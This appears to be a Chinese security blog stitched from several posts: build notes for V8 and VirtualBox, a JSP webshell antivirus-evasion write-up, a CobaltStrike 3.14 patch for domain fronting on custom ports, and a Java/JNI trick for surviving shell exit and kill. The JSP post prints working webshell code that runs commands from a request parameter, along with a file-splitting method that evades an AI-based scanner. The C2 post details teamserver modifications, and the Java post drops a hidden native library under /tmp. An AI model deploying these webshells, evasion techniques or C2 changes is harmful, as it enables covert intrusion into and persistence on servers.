在 Win10 上编译 V8 引擎

记录一下编译 V8 踩坑的过程(以下全程需要科学上网,我是配了 Proxifier)

过程

  1. 先安装 VisualStudio 2019,略详细过程

  2. clone 开发环境

    1
    2
    3
    cd /d d:\

    git clone https://chromium.googlesource.com/chromium/tools/depot_tools
  3. 设置环境变量

    1
    2
    set DEPOT_TOOLS_WIN_TOOLCHAIN=0
    set GYP_MSVS_VERSION=2019 # 视VS版本而定
  4. clone v8 仓库,完整的大概 700M

    1
    fetch v8
  5. 同步第三方组件,会花一点时间

    1
    gclient sync
  6. 生成编译配置

    1
    python tools/dev/v8gen.py ia32.debug
  7. 编译,大概 10 分钟

    1
    ninja -C .\out.gn\ia32.debug d8 -j12
  8. 完成

问题

提示缺少 LASTCHANGE

1
python .\build\util\lastchange.py .\build\util\LASTCHANGE

找不到 clang-cl.exe

1
python .\tools\clang\scripts\update.py

JSP免杀 —— 绕过智能AI?

玩某云的“卷完计划”想到的姿势,分享一下。

某云的骑士号称是采用先进的动态监测技术,结合主机智能内核AI检测技术等多种引擎零规则查杀,做到低误报,高查杀率。

测下来查杀率确实高,只要出现 Runtime.getRuntime().exec("calc") 等命令执行直接相关的方法调用就杀,不过一个样本测下来要一分钟,速度相当慢,实际落地还要很长的路要走。/狗头

绕过

开始讲绕过。

首先是命令执行的sink,直接写 Runtime.getRuntime().exec() 即使jsp编译不通过也是会被check到的,说明引擎有一些强检测逻辑,类似正则,匹配即杀。而如果迂回一下,我们找一个跳板,比如 new ProcessBuilder() ,或者反射构造 ProcessImpl 实例,还不会被杀,(用法参考三梦的文章)。

构造好跳板,当调用 start() 实际执行的时候,如果命令是硬编码的没有杀,如果是从 request.getParameter(“xxx”) 取的还是会杀的。

说明引擎应该用到了类似污点分析的原理,更换命令执行的 sink 是可以绕过的,但要完全绕过还要找别的 source,试了一圈 request 对象的方法,只有 request.getSchema() 等内容不可控方法的时候不会杀,内容不可控有啥用:(

研究了下,我想到了这个引擎的问题(应该也通杀别的),就是在检测时,无法构造出完整的上下文环境。它是单文件一个个扫过去的,如果我们拆分 soure-sink 到多个文件呢,扫任意一个jsp都没问题。甚至很可能因为通不过编译,压根儿动态监测不起来。

include

下面用到 jsp 的一个特性 include 指令。

include 指令用于通知 JSP 引擎在翻译当前 JSP 页面时,将其他文件中的内容合并进当前 JSP 页面转换成的 Servlet 源文件中,这种在源文件级别进行引入的方式,称为静态引入,当前 JSP 页面与静态引入的文件紧密结合为一个 Servlet。这些文件可以是 JSP 页面、HTML 页面、文本文件或是一段 Java 代码。

我们完全可以把完整的逻辑拆分,即把参数获取和命令执行的分开。

举个例子

AB.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
<%
String cmd = request.getParameter("cmd");
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval(
"\"\".getClass()" +
".forName(\"javax.script.ScriptEngineManager\")." +
"newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
cmd + "']).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line).append("\n");
}
response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

source request.getParameter,通过 sink ELProcessor.eval 执行命令,会被杀。

拆分逻辑到 A.jsp B.jsp

A.jsp

1
2
3
<%
String cmd = request.getParameter("cmd");
%>

B.jsp ELProcessor.eval 执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@include file="A.jsp" %>
<html>
<body>
<%
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval(
"\"\".getClass()" +
".forName(\"javax.script.ScriptEngineManager\")." +
"newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
cmd + "']).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line).append("\n");
}
response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

A.jsp 只负责取参,看起来没有问题。

B.jsp sink没有被硬杀,而且缺少 A.jsp 的情况编译不过,跑不起来动态监测不了。

完全绕过。

MacOS 下编译 VirtualBox

在编译 VBox 的时候遇到了许多坑,记录一下。

环境是 MacOS 10.15 Catalina,VBox 6.1.16 。

安装SDK

Xcode10之后编译系统改了,我们需要用老版本的Xcode编译,所以要用 XcodeLegacy

1
2
git clone --depth=1 https://hub.fastgit.org/devernay/xcodelegacy.git
cd xcodelegacy

再下载 Xcode6.4 ,放到 xcodelegacy 目录下。

安装一下

1
2
./XcodeLegacy.sh -osx109 buildpackages
sudo ./XcodeLegacy.sh -osx109 install

安装依赖

  • 安装 homebrew,brew install libidl openssl pkg-config qt
  • JDK版本>=6 ,我用的 JDK8
  • openssl

编译 openssl

link 的时候可能会因为目标版本不一致出现问题,需要用 10.9 编译的 openssl

下载 openssl ,解压后编译

1
2
3
./config CFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" CXXFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" LDFLAGS="-mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" --prefix=/usr/local/opt/openssl@1.1.1i
make -j8
make install

编译

下面开始编译,中途可能还会有些编译错误,需要自己解决一下。末尾有我遇到的问题及解决。

先修改 configure 的 check_darwinversion()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
check_darwinversion()
{
test_header "Darwin version"
darwin_ver=`uname -r`
case "$darwin_ver" in
+ 19\.*)
+ check_xcode_sdk_path "$WITH_XCODE_DIR"
+ [ $? -eq 1 ] || fail
+ darwin_ver="10.15" # Catalina
+ sdk=$WITH_XCODE_DIR/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk
+ cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"
+ cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"
+ CXX_FLAGS='--std=c++11'
+ ;;
17\.*)
check_xcode_sdk_path "$WITH_XCODE_DIR"
[ $? -eq 1 ] || fail
darwin_ver="10.13" # High Sierra
sdk=$WITH_XCODE_DIR/Developer/SDKs/MacOSX10.6.sdk
cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"
cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"
;;

配置

1
2
./configure --disable-hardening --with-xcode-dir=/Developer/SDKs/MacOSX10.9.sdk \
--with-openssl-dir=/usr/local/opt/openssl@1.1.1i --with-qt-dir=/usr/local/Cellar/qt/5.15.2

修改 tools/kBuildTools/VBoxXcode62.kmk ,开启 c++11 支持

1
2
3
4
5
-TOOL_VBoxXcode62_CXXFLAGS         ?=
+TOOL_VBoxXcode62_CXXFLAGS ?= --std=c++11

-TOOL_VBoxXcode62_OBJCXXFLAGS ?=
+TOOL_VBoxXcode62_OBJCXXFLAGS ?= --std=c++11

一处程序错误 src/VBox/Devices/USB/darwin/USBProxyDevice-darwin.cpp

1
2
-    AssertReturn(RefMatchingDict != IO_OBJECT_NULL, VERR_OPEN_FAILED);
+ AssertReturn(RefMatchingDict, VERR_OPEN_FAILED);

开始编译

1
2
source env.sh
kmk

FAQ

  • 报错 yasm: Bad CPU type in executable

    因为不支持 32 位应用,需要用 x64 的 yasm 替换,

    brew install yasm && cp /usr/local/Cellar/yasm/1.3.0_2/bin/yasm tools/darwin.amd64/bin/

  • 报错 kBuild: iasl VBoxDD ....

    问题同上,找 x64 的 iasl 替换,https://bitbucket.org/RehabMan/acpica/downloads/iasl.zip ,

    cp iasl tools/darwin.amd64/bin/iasl

  • 找不到 libqcocoa.dylib

    修改 AutoConfig.kmk

    1
    2
    3
    4
    5
    6
    7
    - PATH_SDK_QT5_INC               := /usr/local/Cellar/qt/5.15.2/Frameworks
    - PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/Frameworks
    - PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/Frameworks

    + PATH_SDK_QT5_INC := /usr/local/Cellar/qt/5.15.2/include
    + PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/lib
    + PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/

    或者创建软链接

    1
    2
    mkdir /usr/local/Cellar/qt/5.15.2/Frameworks/plugins
    ln -s /usr/local/Cellar/qt/5.15.2/plugins/platforms /usr/local/Cellar/qt/5.15.2/Frameworks/plugins/platforms

魔改 CobaltStrike 3.14 实现域前置自定义端口

国内VPS的 80,443 端口默认都是需要备案才能使用,所以如果 TeamServer 搭在国内,Listener 只能选择其他端口,一般使用是没什么问题,但如果要配置域前置,会遇到上线不了的问题。

问题分析

我配置了一个 8880 端口的 listener,并配置了 CloudFront (回源端口 8880),生成了指向 80 端口的后门。但运行后并没有上线,Wireshark 抓包分析一下。

为了生成指向 80 端口的后门,我额外配置了一个 80 端口的 listener。

可以看到,第一步确实向 cdn 请求了,也成功从 teamserver 获得了后续的 shellcode 并加载成功了(不然不会有第二步的请求),但是第二步开始向 8880 端口拉取任务了,这里就出问题了,因为 cdn 域名的 8880 并不能到达 teamserver 的 8880。

所以我们要修改第二步的请求,强制让它继续和 80 端口通信。

p1

那么,为什么第一步的访问的端口是对的,第二个是错的呢。

我们知道一般用的CS后门是 staging 模式的,执行过程可以分为两个部分 stage 和 stager 。第一步执行的是 stager ,负责通过各种路径(http&https&tcp)下载 stage,然后注入到内存中执行。第二步的 stage 是真正实现后门功能的部分。

因为生成 beacon 时,用的 listener 是监听 80 端口的,所以 beacon 第一次请求的确是向 80 端口发起的。

但实际上 cdn 的 80 端口指向的是 8880 端口的 listener,8880 接到请求,会返回 stage,stage 时在 teamserver 生成的,它并不知道我们是在通过 80 端口访问它,此时的 stage 是指向 8880 的。这造成了后续的请求都会指向 8880。

要解决问题,必须修改 teamserver 生成的 stage 指向的端口,但搜了一大圈,并没有找到相关的解决方法,AggressorScript 也只能在客户端动动刀子,想要修改 Listener 相关的得要从根源入手。

杀死问题的办法 —— 魔改

我的思路是在创建 listener 的时候,再加一个选项,让 stage 用的端口和 listener 实际监听的端口分开。

当然做👇这些之前要先反编译,我这里用的 fernflower ,用法略过。

0x01 UI

CobaltStrike 用的是 swing 写的 UI,创建 Listener 的部分在 aggressor.dialogs.ListenerDialog.show()

p4

用了 DialogManager 包装了每个 Dialog,调用 DialogManager.text 可以在当前 dialog 创建输入框,命名为 bind port,作为实际监听的端口。

来加一个输入框:

p6

Save 按钮按下时,会在后续触发到 ListenerDialog.dialogResult

p5

这里检查了一下 domain 是否超长,通过了,就推送一个 listeners.create 请求到 teamserver,参数是 listener 的名字和配置信息,再之后 listener 就会在 teamserver 建立。

我们下一步是要把 bind port 传到 this.options,这里有点绕,在调用 DialogManager.text 的时候创建一个内部的 DialogListener

p7

DialogManager.addDilogListenerInternal 可以看到会把创建的 DialogListener 加到

p9

Save 按钮实际是 DialogManager.action_noclose 生成的
这里的,点击事件可以在这里找到。

p10

这里调用了之前的创建的匿名 DialogListener,将值传到 this.options,所以创建的输入框会自动把值添加到配置里来,😭绕了一圈啥也不用干。

为了能在 Listeners 这个 Tab 直接看到设置的 bind port, 给 aggressor.windows.ListenerManagercols 加上 bind port 就会自动加载进来了。

p13

效果如下:

p12

0x02 Listener

在各处调用 Listener 时,会创建 common.Listener 实例,里面是没有 bind port 字段的,所以要给它加上。

p19

0x03 Stage

p11

teamserver 接到创建 Listener 的请求后,会先把 Listener 序列化保存下来,以便下次 teamserver 重启的时候可以自动监听。

然后本地调用 beacons.start 。这里的调用链有点长:

server.Beacons.call() -> server.Beacons.setup() -> beacon.BeaconsSetup.start() -> server.WebCalls.getWebServer() -> beacon.BeaconSetup.exportBeaconStage()

最主要的是两个地方 server.WebCalls.getWebServer() 创建 Web 服务,beacon.BeaconSetup.exportBeaconStage 构造 Stage 的 shellcode。

p14

p15

这里的 var1 是监听的端口号,默认的 Stage 指向的端口和 Listener 监听的端口号是同一个,现在我们要让他们的端口分离,因为 start() 参数不是 Map ,所以不能直接往里加一个参数,只能重写或者重载一下这个方法。

我直接重写了一下,加了一个参数 bindPort,创建 Web 服务时,就用这个端口。Stage 还是用原来的 var1 作为端口,不用修改。这样创建 Listener 的时候,原来端口号代表 Stage 用的

p16

相应的,上层的调用链也要修改一下。

p17

p18

0x05 编译 & 替换

然后要把修改过的代码编译一下,替换到 jar 里。

1
2
3
4
5
6
7
8
9
10
javac -cp cobaltstrike.jar common/Listener.java
zip -u cobaltstrike.jar common/Listener.class
javac -cp cobaltstrike.jar aggressor/dialogs/ListenerDialog.java
zip -u cobaltstrike.jar aggressor/dialogs/ListenerDialog.class
javac -cp cobaltstrike.jar aggressor/windows/ListenerManager.java
zip -u cobaltstrike.jar aggressor/windows/ListenerManager.class
javac -cp cobaltstrike.jar server/Beacons.java
zip -u cobaltstrike.jar server/Beacons.class
javac -cp cobaltstrike.jar beacon/BeaconSetup.java
zip -u cobaltstrike.jar beacon/BeaconSetup.class

⬆️可能有点遗漏的,各位自己调一下吧。

效果

rrr

后话

这是一篇19年的存稿,当时还没有 CS 4.0,这个问题 4.0 已经解决了,可以配置 Listener 的 C2 PortBind Port,将 C2 的端口与 teamserver 实际监听的端口分开。

现在放出来,也算抛砖引玉,给想要修改 CS 的小伙计提供点经验,欢迎交流~

Java 实现后台执行

常用的将程序放到后台执行,并在shell退出后依然运行的方法,是使用 nohup&,比如 nohup java -jar abc.jar &

原理

nohup 的作用是忽略 SIGHUP 信号。当一个shell关闭后,会向运行的程序发送 SIGHUP 信号,通知同一shell内的各个进程,它们与控制终端不再关联。系统对 SIGHUP 信号的默认处理是终止收到该信号的进程。

& 的作用是忽略 SIGINT 信号。Ctrl+C 会向前台进程发送 SIGINT 信号,以关闭程序。

实现

综上,只要我们能实现 nohup& 的功能,就能让程序在后台运行,不会因为 shell 断开而中断了。

由于题目是用 Java 实现,而 Java 本身并不能进行如此底层的操作,所以思路是使用 JNI,借助 C/C++ 实现。

直接上代码:

1
2
3
4
5
6
7
package io.github.jayl1n.daemon;

public class Main {

private native boolean ignoreSignal();

}

javah io.github.jayl1n.daemon.Main 生成头文件,添加到 C++ 项目里。

1
2
3
4
5
6
7
8
9
10
#include "io_github_jayl1n_daemon_Main.h"

#include <signal.h>

JNIEXPORT jboolean JNICALL Java_io_github_jayl1n_daemon_Main_ignoreSignal(JNIEnv *, jobject) {
//忽略 SIGHUP SIGINT 信号,防止 shell 断开 ,Ctrl+C 中断程序
signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);
return JNI_TRUE;
}

生成出来的动态库,需要放到与jar包相同的目录下,或者是 java.library.path 指定的路径,否则在 System.loadLibrary 时无法找到动态库。

java.library.path 变量可以在执行时添加 -Djava.library.path=/a/b/c 参数指定。System.getProperty("java.library.path") 可以查看当前的路径。但无法通过 System.setProperty("java.library.path","/a/b/c") 修改,因为在 JVM 启动时就会缓存这个值,后续修改不会生效,可以通过反射来清除 ClassLoadersys_paths 变量(缓存标志),重新初始化 usr_paths,代码如下:

java/lang/ClassLoader.java:1815

1
2
3
4
5
6
7
8
9
10
11
12
13
static void loadLibrary(Class<?> fromClass, String name, boolean isAbsolute) {
ClassLoader loader = (fromClass == null) ? null : fromClass.getClassLoader();
if (sys_paths == null) {
usr_paths = initializePath("java.library.path");
sys_paths = initializePath("sun.boot.library.path");
}
if (isAbsolute) {
if (loadLibrary0(fromClass, new File(name))) {
return;
}
throw new UnsatisfiedLinkError("Can't load library: " + name);
}
......

第三行,sys_paths 不为 null 时,不会再初始化 java.library.path,相当于是第一次读取就被缓存到了 usr_paths

通过反射清除 sys_paths:

1
2
3
4
5
6
7
8
9
10
11
12
 try {
//先修改 java.library.path
System.setProperty("java.library.path", System.getProperty("java.library.path") + ":/Users/jaylin/daemon-demo/bin");

//清除缓存标志
Field sys_paths = ClassLoader.class.getDeclaredField("sys_paths");
sys_paths.setAccessible(true);
sys_paths.set(null,null);
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
//后续再 loadLibrary 时,将会使用新的 usr_paths

👆上面说了一个奇迹淫巧,在有多个动态库,相互依赖时比较有用。

这里其实也可以使用 System.load 直接指定绝对路径(注意和System.loadLibrary 的区别)。

由于动态库无法直接打包到 jar 包里用,所以一般是要分开上传到服务器。

为了优雅的使用动态库,可以硬编码到 jar 包里,在执行时释放出来,JNI 支持延时加载动态库。

这里我使用 base64 编码, cat /Users/jaylin/daemon-demo/bin/libdaemon_jni.dylib | base64,下面写个例子,定时输出字符到 /tmp/test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Main {
private native boolean ignoreSignal();

public static void main(String[] args) throws IOException, Base64DecodingException {
//释放动态库
String dynlib = "z/rt/+AQAAAOglAAAAvwIAAAC+AQAAAEiJRejoEgAAALEBD7b5SIlF4In4SIPEIF3DkP8lZhAAAAAATI0dZRAAAEFT/yVVAAAAkGgAAAAA6eb///==(省略)";
File dynlibFile = new File("/tmp/.jayl1n");
FileOutputStream fileOutputStream = new FileOutputStream(dynlibFile);
fileOutputStream.write(Base64.decode(dynlib));
fileOutputStream.close();

//加载动态库
System.load("/tmp/.jayl1n");
//调用
new Main().ignoreSignal();
AtomicInteger i = new AtomicInteger();
while (true) {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "echo " + i.getAndIncrement() + " >> /tmp/test"});
Thread.sleep(1000);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
}

效果:

效果

进阶 —— 免疫 kill 命令

kill 命令默认是发送 SIGTERM 信号,友好地通知进程该结束了。进程在这种情况下可以不响应 SIGTERM(即忽略),继续执行下去。

也就是说只要再 signal(SIGTERM, SIG_IGN); 就可以防止被 kill 杀掉了,经过测试确实可以实现,有兴趣的可以自己试一下。

不过,当 kill 命令带参数时(kill -9),发送的是 SIGKILL 信号,这个信号无法被捕获或忽略,CTF 里有常用的杀不死马的方法 kill -9 -1(杀死除init进程外的所有进程),此时,程序无法感知到 SIGKILL 信号,就被系统干掉了。

References

Unix Signals

Nohup源码分析

一分钟了解nohup和&的功效

kill命令——系统内部执行流程

不可忽略或捕捉的信号—SIGSTOP和SIGKILL

|